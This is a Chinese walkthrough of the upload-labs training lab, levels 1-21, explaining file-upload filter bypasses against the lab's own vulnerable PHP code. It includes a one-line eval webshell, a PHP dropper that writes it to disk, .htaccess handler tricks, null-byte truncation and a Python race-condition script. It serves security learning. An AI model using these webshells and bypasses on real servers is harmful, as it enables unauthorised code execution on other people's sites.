【Web安全靶场】upload-labs-master 1-21

upload-labs-master

其他靶场见专栏…

文章目录

  • upload-labs-master
    • Pass-01-js前端校验
    • Pass-02-MIME校验
    • Pass-03-其他后缀绕过黑名单
    • Pass-04-.hatccess绕过
    • Pass-05-点空格点代码逻辑绕过
    • Pass-06-大小写绕过
    • Pass-07-空格绕过
    • Pass-08-点号绕过
    • Pass-09-::$DATA绕过
    • Pass-10-点空格点代码逻辑绕过
    • Pass-11-双写绕过
    • Pass-12-Get型%00截断
    • Pass-13-Post型%00截断
    • Pass-14-图片木马与文件包含漏洞
    • Pass-15-图片木马与文件包含漏洞
    • Pass-16-图片木马与文件包含漏洞
    • Pass-17-图片木马二次渲染
    • Pass-18-删除操作条件竞争
    • Pass-19-重命名操作条件竞争
    • Pass-20-pathinfo()
    • Pass-21-分段参数数组

由于upload-labs版本问题,可能有的题号对不上。

Pass-01-js前端校验

上传一个phpinfo()的php文件,点击上传发现抓包没有反应,但是网页上出现弹窗显示“该文件不允许上传,请上传jpgl、png、pngl、gif类型的文件,当前文件类型为php,所以猜测这是进行了js前端校验,js前端校验是可以人为控制的,可以在网页设置那里禁用js,也可以上传一个正常的文件,然后抓包修改。查看源代码:

function checkFile() {
   var file = document.getElementsByName('upload_file')[0].value;
   if (file == null || file == "") {
       alert("请选择要上传的文件!");
       return false;
   }
   //定义允许上传的文件类型
   var allow_ext = ".jpg|.png|.gif";
   //提取上传文件的类型
   var ext_name = file.substring(file.lastIndexOf("."));
   //判断上传文件类型是否允许上传
   if (allow_ext.indexOf(ext_name + "|") == -1) {
       var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
       alert(errMsg);
       return false;
   }
}

前端代码中对上传文件的后缀进行了校验,所以只要绕过前端校验就行了。

在这里插入图片描述

在这里插入图片描述

Pass-02-MIME校验

上传一个phpinfo的php’文件,前端没有进行校验,点击上传提示”文件类型不正确,请重新上传“,查看源代码发现,后端对数据包的MIME进行检查,MIME是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。

服务端MIME类型检测是通过检查http中包含的Content-Type字段中的值来判断上传文件是否合法的。利用Burpsuite抓包,将报文中的Content-Type改成允许的类型

  • Content-Type: image/gif(gif图像)
  • Content-Type: image/jpg(jpg图像)
  • Content-Type: image/png(png图像)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
           if (move_uploaded_file($temp_file, $img_path)) {
               $is_upload = true;
           } else {
               $msg = '上传出错!';
           }
       } else {
           $msg = '文件类型不正确,请重新上传!';
       }
   } else {
       $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
   }
}

在这里插入图片描述

Pass-03-其他后缀绕过黑名单

这一关进行了后端黑名单认证,并且进行了一些点号空格等过滤,黑名单有一个坏处就是很难把所有的后缀包含进去,比如说php可以变为php2、php3等,大小写,双写啥的。查看源代码发现黑名单只有4个,所以我们可以使用其他的脚本后缀,比如说php5、php4、phtml等,其中这些后缀需要知道php版本和apache的配置,不是所有网站都可以的,需要在配置文件httpd.conf中需要有将AddType application/x-httpd-php .php .phtml .phps .php1 .php4 .pht 这样的一段话前面的注释删除,重启phpstudy让其生效。(不知道这个文件的可以先看19关)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       $deny_ext = array('.asp','.aspx','.php','.jsp');
       $file_name = trim($_FILES['upload_file']['name']);
       $file_name = deldot($file_name);//删除文件名末尾的点
       $file_ext = strrchr($file_name, '.');
       $file_ext = strtolower($file_ext); //转换为小写
       $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
       $file_ext = trim($file_ext); //收尾去空

       if(!in_array($file_ext, $deny_ext)) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
           if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
           } else {
               $msg = '上传出错!';
           }
       } else {
           $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
       }
   } else {
       $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
   }
}

Pass-04-.hatccess绕过

这一关的黑名单是上一关的几倍,所以不能使用php5、phtml等绕过了,并且点号、空格、::DATA这些也实现不了,所以尝试一下.htaccess配置文件绕过,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
<FilesMatch "x.png">   
SetHandler application/x-httpd-php
</FilesMatch>

这个.htaccess文件片段的作用是告诉Apache,当访问文件名为x.png的文件时,将其当作PHP脚本来执行。

上传一个.htaccess文件,之后上传一个x.png文件即可解析。

前提是配置环境:httpd.conf里面将AllowOverride置为All(默认为None),接着搜索mod_rewrite,将此模块前面的注释符删掉,重启。网上是这样教的,如果不行的话就是你的版本太高了,我一开始用的v8,后面换成了2016版的就可以了。注意别把htaccess文件弄成hatccess文件!

在这里插入图片描述

Pass-05-点空格点代码逻辑绕过

查看源代码发现,存在大小写转换函数,并且htaccess后缀被过滤了,所以我们要尝试从代码逻辑上考虑绕过。首先这一段代码,删除了文件名后面的点,接着.php.最后一个点作为后缀分隔符,即**$file_ext=.,之后将字母转化为小写,然后去除字符串::$DATA,最后首尾去空。所以我们可以构造x.php. .**(有一个空格),这样源代码中删除了一个点还剩下一个点和空格从而绕过黑名单。而且在window下,文件名会因为规范而忽略后面的内容。(不知道为啥apache版本高会出现上传出错,如果上传出错你可以在第一关试一下,再不行就装低版本的phpstudy)。

这是我echo file_ext的值(分割之后的),echo网上很多博主讲错了,他们把strrchr函数认为是从第一个符合条件的字符开始。

在这里插入图片描述

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
       $file_name = trim($_FILES['upload_file']['name']);
       $file_name = deldot($file_name);//删除文件名末尾的点
       $file_ext = strrchr($file_name, '.');
       $file_ext = strtolower($file_ext); //转换为小写
       $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
       $file_ext = trim($file_ext); //首尾去空
       
       if (!in_array($file_ext, $deny_ext)) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH.'/'.$file_name;
           if (move_uploaded_file($temp_file, $img_path)) {
               $is_upload = true;
           } else {
               $msg = '上传出错!';
           }
       } else {
           $msg = '此文件类型不允许上传!';
       }
   } else {
       $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
   }
}

在这里插入图片描述

Pass-06-大小写绕过

这一关比较容易想得出来,因为它少了小写转换函数。本来想的是这里也可以使用点空格点进行绕过,但是发现不行,最后的文件名少了后缀,再分析一下源代码发现,它使用的是**$img_path = UPLOAD_PATH.‘/’.date(“YmdHis”).rand(1000,9999).$file_ext;**,这是没有php后缀的。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
       $file_name = trim($_FILES['upload_file']['name']);
       $file_name = deldot($file_name);//删除文件名末尾的点
       $file_ext = strrchr($file_name, '.');
       $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
       $file_ext = trim($file_ext); //首尾去空

       if (!in_array($file_ext, $deny_ext)) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
           if (move_uploaded_file($temp_file, $img_path)) {
               $is_upload = true;
           } else {
               $msg = '上传出错!';
           }
       } else {
           $msg = '此文件类型不允许上传!';
       }
   } else {
       $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
   }
}
  • 大小写绕过:

在这里插入图片描述

Pass-07-空格绕过

这一关少了去掉空格的函数,所以这一关很简单,同样也是利用window的文件后缀的规范性,抓包在文件后缀后面加个空格就行了,而且不像上一关使用点空格点这样php丢掉了…

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
       $file_name = $_FILES['upload_file']['name'];
       $file_name = deldot($file_name);//删除文件名末尾的点
       $file_ext = strrchr($file_name, '.');
       $file_ext = strtolower($file_ext); //转换为小写
       $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
       
       if (!in_array($file_ext, $deny_ext)) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
           if (move_uploaded_file($temp_file,$img_path)) {
               $is_upload = true;
           } else {
               $msg = '上传出错!';
           }
       } else {
           $msg = '此文件不允许上传';
       }
   } else {
       $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
   }
}

最终echo $file_ext的值为:

在这里插入图片描述

Pass-08-点号绕过

在第一眼看这一份代码的时候好像是没啥思路的,这是因为我们认为strrchr就是用来过滤点的,但它其实是用来分割点的,对比之前的代码,这一关少了对末尾点的过滤,所以在进行strrchr时候得到的只是一个点号,直接就绕过黑名单了,并且文件名是使用分割前的,并不用随机数字。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
       $file_name = trim($_FILES['upload_file']['name']);
       $file_ext = strrchr($file_name, '.');
       $file_ext = strtolower($file_ext); //转换为小写
       $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
       $file_ext = trim($file_ext); //首尾去空
       
       if (!in_array($file_ext, $deny_ext)) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH.'/'.$file_name;
           if (move_uploaded_file($temp_file, $img_path)) {
               $is_upload = true;
           } else {
               $msg = '上传出错!';
           }
       } else {
           $msg = '此文件类型不允许上传!';
       }
   } else {
       $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
   }
}

在这里插入图片描述

Pass-09-::$DATA绕过

这一关查看源代码发现少了过滤::$DATA,但我并不知道这是啥,上网搜了一下:

在window下,如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名。所以我们添加这一个然后echo一下过程看看:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
       $file_name = trim($_FILES['upload_file']['name']);
       $file_name = deldot($file_name);//删除文件名末尾的点
       $file_ext = strrchr($file_name, '.');
       $file_ext = strtolower($file_ext); //转换为小写
       $file_ext = trim($file_ext); //首尾去空
       
       if (!in_array($file_ext, $deny_ext)) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
           if (move_uploaded_file($temp_file, $img_path)) {
               $is_upload = true;
           } else {
               $msg = '上传出错!';
           }
       } else {
           $msg = '此文件类型不允许上传!';
       }
   } else {
       $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
   }
}

这里echo的是首尾去空之后的值,同样上传上去之后文件名会把后面的::$data省略掉。

在这里插入图片描述

Pass-10-点空格点代码逻辑绕过

这一关似曾相识,因为看到存储文件的命名方式,所以就想到使用点空格点来绕过黑名单检测了

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
       $file_name = trim($_FILES['upload_file']['name']);
       $file_name = deldot($file_name);//删除文件名末尾的点
       $file_ext = strrchr($file_name, '.');
       $file_ext = strtolower($file_ext); //转换为小写
       $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
       $file_ext = trim($file_ext); //首尾去空
       
       if (!in_array($file_ext, $deny_ext)) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH.'/'.$file_name;
           if (move_uploaded_file($temp_file, $img_path)) {
               $is_upload = true;
           } else {
               $msg = '上传出错!';
           }
       } else {
           $msg = '此文件类型不允许上传!';
       }
   } else {
       $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
   }
}

在这里插入图片描述

Pass-11-双写绕过

这一关的代码和之前的有些不同,不能使用点、空格绕过之类的,因为它存在**$file_name = str_ireplace($deny_ext,“”, $file_name);**函数会将file_name里面出现在黑名单里面的字符去掉,可能会想到使用大小写绕过,但是这个函数是对大小写不敏感的。由于只进行了一次替换,所以我们可以进行双写绕过:

在这里插入图片描述

Pass-12-Get型%00截断

看到这一道题一开始没啥思路的,因为它使用的是白名单,一开始想的是使用双后缀,但是文件名是随机数,所以无效。后来发现源代码存在get参数,而get参数是save_path,这说明存储位置是可控的,那我把存储位置后面加个phpinfo.php%00,会怎么样?

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
   $ext_arr = array('jpg','png','gif');
   $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
   if(in_array($file_ext,$ext_arr)){
       $temp_file = $_FILES['upload_file']['tmp_name'];
       $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

       if(move_uploaded_file($temp_file,$img_path)){
           $is_upload = true;
       } else {
           $msg = '上传出错!';
       }
   } else{
       $msg = "只允许上传.jpg|.png|.gif类型文件!";
   }
}

由于php底层是由C语言写的,而C语言遇到空字符就认为字符串结束了,所以我们如果添加%00,php会认为字符串已经结束了。实验环境,php版本小于5.3,5.3也不行。magic_quote_gpc为off。

在这里插入图片描述

Pass-13-Post型%00截断

查看源代码和上一关差不多,但是获取Get参数变为获取Post参数而已,改包过程中有些不一样了:

$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

首先先输入%00先然后选中,右键找到Convert selection->URL->URL-decode:

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Pass-14-图片木马与文件包含漏洞

这一关已经很明确说了要使用图片木马,查看源码得知,这一关是检查文件头的,判断一个文件是什么不仅仅看文件后缀,还看文件头,我们可以通过构造图片木马使其有图片文件的文件头,也有木马文件。

JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
对于linux:cat pictures.jpg shell.php > shell.jpg
对于windows:copy pictures.jpg /b + shell.php /a shell.jpg

在这里插入图片描述

我直接上传却失败了,但不知道什么原因,所以我查看它的每一个字节,将一句话木马插入到\0里面:

在这里插入图片描述

接着使用文件包含漏洞,查看网站源代码,发现include.php:

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
   include $file;
}else{
   show_source(__file__);
}
?>

接着使用蚁剑:

URL地址:http://192.168.255.128/upload-labs-master/include.php?file=upload/8120240305150003.jpg

在这里插入图片描述

Pass-15-图片木马与文件包含漏洞

这一关和上一关一样的,只不过使用的函数不一样而已:

function isImage($filename){
   $types = '.jpeg|.png|.gif';
   if(file_exists($filename)){
       $info = getimagesize($filename);
       $ext = image_type_to_extension($info[2]);
       if(stripos($types,$ext)>=0){
           return $ext;
       }else{
           return false;
       }
   }else{
       return false;
   }
}
getimagesize() 函数将测定任何
GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP
图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。
如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 false 并产生一条 E_WARNING 级的错误。

还是使用上一关的方法,这里就不多解释了。

Pass-16-图片木马与文件包含漏洞

这一关又换了一个检测文件的函数,exif_imagetype() 读取一个图像的第一个字节并检查其签名。

还是使用第十四关的方法就可以了,至于这两个函数有什么细节实在找不到。

Pass-17-图片木马二次渲染

这一关代码很长,但可以看作三个一样的部分,上传之前的图片马,发现确实可以上传但是连接不上,所以下载下来用十六进制打开,发现一句话木马没了,查询资料知道二次渲染会导致一些没用的信息给替换或者去掉,可以查看这一篇文章对于二次渲染绕过挺详细的,这里就用里面最简单的gif文件二次渲染绕过试一下。

以下是我用winhex打开的两张图片,可以看到,28709.gif(我上传的)与1.gif(我原来的)有些不一样:

在这里插入图片描述

在这里插入图片描述

可以看到有一些位置是不一样的,但是也有一样的,二次渲染的原理就是在一样的地方添加代码,尝试一下:

在这里插入图片描述

在这里插入图片描述

可见这一块并没有被渲染,并且用蚁剑利用文件包含是可以连接成功的

Pass-18-删除操作条件竞争

这一关的提示是代码审计

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
  if(in_array($file_ext,$ext_arr)){
       $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
       rename($upload_file, $img_path);
       $is_upload = true;
  }else{
      $msg = "只允许上传.jpg|.png|.gif类型文件!";
      unlink($upload_file);
  }
}else{
  $msg = '上传出错!';
}
}

如果看代码的作用的话确实没啥漏洞的,但是在看代码逻辑上,确实先保存文件到服务器再进行白名单校验,如果不通过就删除文件。网上搜了一下,unlink()函数还是可以删除已经打开的脚本文件,但是如果连接上了,也会被删除。所以我们上传的脚本文件不是一个一句话木马这样简单,我们需要通过上传的脚本文件,再建立一个脚本文件。

<?php
$new_file_name = "shell.php";
$shell_content = '<?php @eval($_POST[\'x\']);?>';

if (file_put_contents($new_file_name, $shell_content) != false) {
   echo "Shell文件创建成功";
} else {
   echo "创建Shell文件失败";
}
?>

我们用burpsuite截获数据包并且发送到intruder模块,使用python的requests库构造请求试一下:

import requests
import time

url = "http://192.168.255.128/upload-labs-master/upload/build_shell.php"
rate = 5
duration = 6000
interval = 1 / rate
start_time = time.time()

print("action...")
while time.time() - start_time < duration:
   try:
       response = requests.get(url)
       if response.status_code == 200:
           print("success!!!!!!!")
           break
       else:
           print(response.status_code, end='')
       time.sleep(interval)
   except requests.RequestException as e:
       print("Error: " + str(e))
       break

试了很久才出来,但原理是在那的,其实把存入数据库和检查白名单之间加个sleep()函数其实明显一点。

Pass-19-重命名操作条件竞争

这一关比较复杂吧,学了一下这一关的知识点,现在来总结一下。

首先先来看两个文件:mime.types和http.conf文件。

  • mime.types文件包含文件扩展名与MIME类型之间的映射关系,这些映射告诉Apache服务器如何处理不同类型的文件。这种映射通常用于指定浏览器如何显示文件。例如mime.types文件中有image/jpeg–jpg的映射时,那么服务器收到一个以.jpg结尾的文件请求时,它会把文件的内容和类型发送给浏览器,浏览器会根据Content-Type显示内容。
  • http.conf文件:这个文件要了解的是两个指令AddHandler和AddType指令。AddHandler指令将文件扩展名映射到指令的处理程序,告诉服务器如何处理文件类型,优先于mime.types文件的映射,例如使用AddHanlder application/x-httpd-php .phtml指令,只要文件名包含这个后缀就会将其交给php解析模块执行,无论mime.types文件是否有映射。而AddType指令弱一点,mime.types优先于AddType指令。

两个文件的联系:Apache默认支持多个文件后缀名,可以搜一下Apache文件解析漏洞。当一个文件名有多个点分割的后缀时,Apache会从最右开始识别,如果遇到无法识别的后缀名就从右向左依次识别,如果上传了一个shell.php.jpg文件,而mime.types文件和httpd.conf文件没有对于jpg后缀的解析,则可能执行文件中的恶意代码。

演示的话看这一篇博客吧,文件上传upload-labs 第19关 Apache解析漏洞配合条件竞争。

我在我的mime.types文件上没有找到我的7z的映射(有zip映射),同时将httpd.conf的AddType application/x-httpd-php .php .phtml注释去掉了,重启apache服务,创建一个一句话木马以.php.7z结尾,使用蚁剑连接是可以连接上的:

在这里插入图片描述

按照mime.types和这两个指令的关系进行测试也是能达到预期的结果,这里就不往下写了,上面的那一片博客有演示。

所以利用这个解析漏洞我们就可以访问到我们上传的脚本文件,回到这一道题,先来看看它的源代码,看的会很晕总结下来就是

  • 判断这个文件是否已经被上传到服务器的临时目录。
  • 设置上传的目标目录,并检查这个目标目录是否有可写权限。
  • 白名单判断,大小限制判断,相同名称判断。
  • 文件移动到目标路径。
  • 根据时间函数重命名

我们利用的条件竞争就是移动和重命名这两个过程,因为它重命名不是删除,所以让它重命名失败就行了,至于如何做?因为它的随机函数是按时间来的,而时间函数有个精度,这个函数不详细讲了,简单来说就是极短时间间隔下会产生相同的时间随机数。如果第一个文件上传了并且也重命名了,同时第二个文件在第一个文件发送之后立刻发送,时间函数由于精度产生相同的时间随机数,在重命名的过程之中就会因为重复名称而失败,这个文件不会被删除!这样利用文件解析漏洞就可以构造我们的webshell。

我们使用burpsuite的intruder模块将shell.php.7z(7z是白名单并且mime.types没有解析它的映射)发送,假设发了50个包,会发现目标服务器中就几个新的文件。但是并没有重命名失败的文件啊!!!分析过程,假设第二个是重命名失败的,这时第三个文件发送过来,第三个文件会覆盖第二个文件(原始名称一样),但是时间随机数在一段极短间隔后变化了,第三个就会被重命名。所以总结出!!!重命名失败的文件最好是最后一个发送过来的文件,所以使用Repeater模块(当然intruder也可以),点击三四下够了。

这一道题没有图,图片解释不了什么,过程已经很清楚了。

Pass-20-pathinfo()

这一关学了一个新函数pathinfo(),它有两个参数,一个是文件路径,一个是选项,返回一个关联数组。它包含5个选项:

  • PATHINFO_DIRNAME:返回目录名
  • PATHINFO_BASENAME:返回基本文件名,不包括目录名和扩展名
  • PATHINFO_EXTENSION:返回扩展名,不包括斜杠和反斜杠,从最后一个点号开始查找
  • PATHINFO_FILENAME:返回文件名,不包括目录名和斜杠
  • PATHINFO_ALL:默认参数,返回全部
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
   if (file_exists(UPLOAD_PATH)) {
       $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

       $file_name = $_POST['save_name'];
       $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

       if(!in_array($file_ext,$deny_ext)) {
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH . '/' .$file_name;
           if (move_uploaded_file($temp_file, $img_path)) { 
               $is_upload = true;
           }else{
               $msg = '上传出错!';
           }
       }else{
           $msg = '禁止保存为该类型文件!';
       }

   } else {
       $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
   }
}

PATHINFO_EXTENSION常量表示识别任何有效的拓展名,如果拓展名有斜杠 / 或者 \ 就忽略,返回文件名最后一个点号后面的字符串作为拓展名。如果遇到最后一个点号后面没有拓展名或者拓展名无效就返回为空。

如果服务器是在windows则可以利用windows对于文件扩展名的规范性来实现,比如点,点空格点,::$DATA等。

如果是linux,在php版本低于5.3可以使用可以使用%00截断(其实windows也可以),linux使用x.php/.

我的是windows:

在这里插入图片描述

使用蚁剑,连接成功。

Pass-21-分段参数数组

这一关其实我很懵逼…

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
   //检查MIME
   $allow_type = array('image/jpeg','image/png','image/gif');
   if(!in_array($_FILES['upload_file']['type'],$allow_type)){
       $msg = "禁止上传该类型文件!";
   }else{
       //检查文件名
       $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
       if (!is_array($file)) {
           $file = explode('.', strtolower($file));
       }

       $ext = end($file);
       $allow_suffix = array('jpg','png','gif');
       if (!in_array($ext, $allow_suffix)) {
           $msg = "禁止上传该后缀文件!";
       }else{
           $file_name = reset($file) . '.' . $file[count($file) - 1];
           $temp_file = $_FILES['upload_file']['tmp_name'];
           $img_path = UPLOAD_PATH . '/' .$file_name;
           if (move_uploaded_file($temp_file, $img_path)) {
               $msg = "文件上传成功!";
               $is_upload = true;
           } else {
               $msg = "文件上传失败!";
           }
       }
   }
}else{
   $msg = "请选择要上传的文件!";
}

先说一下这份代码做啥用的:

  • 首先进行Content-Type字段检查。
  • 接着检查文件名,如果自定义文件名不存在则使用上传文件原来的名字。
  • 默认自定义文件名存在,判断是否为数组,不是的话按照点号分割开,成为数组。
  • 取数组的最后一个元素为后缀进行白名单校验。
  • 校验成功,取数组第一个元素与后缀拼接,保存。

这里的漏洞就是判断是否为数组,其实上传的数据报里的数据也可以是一个数组,之前没有见过,下面是答案:

在这里插入图片描述

其中我们上传的save_name就是一个数组,这时候就不会被截断了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/435536.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

三、代码结构(不定时更新)

一、装饰器 Entry&#xff1a;标记当前组件是入口组件 Component&#xff1a;标记自定义组件 State&#xff1a;标记该变量是状态变量&#xff0c;值变化时会触发UI刷新 二、自定义组件 // 可复用的UI单元 struct Index {} 三、UI描述 // 其内部以声明式方式描述UI结构 bu…

fatal: unable to access ‘***‘: OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 0解决方案

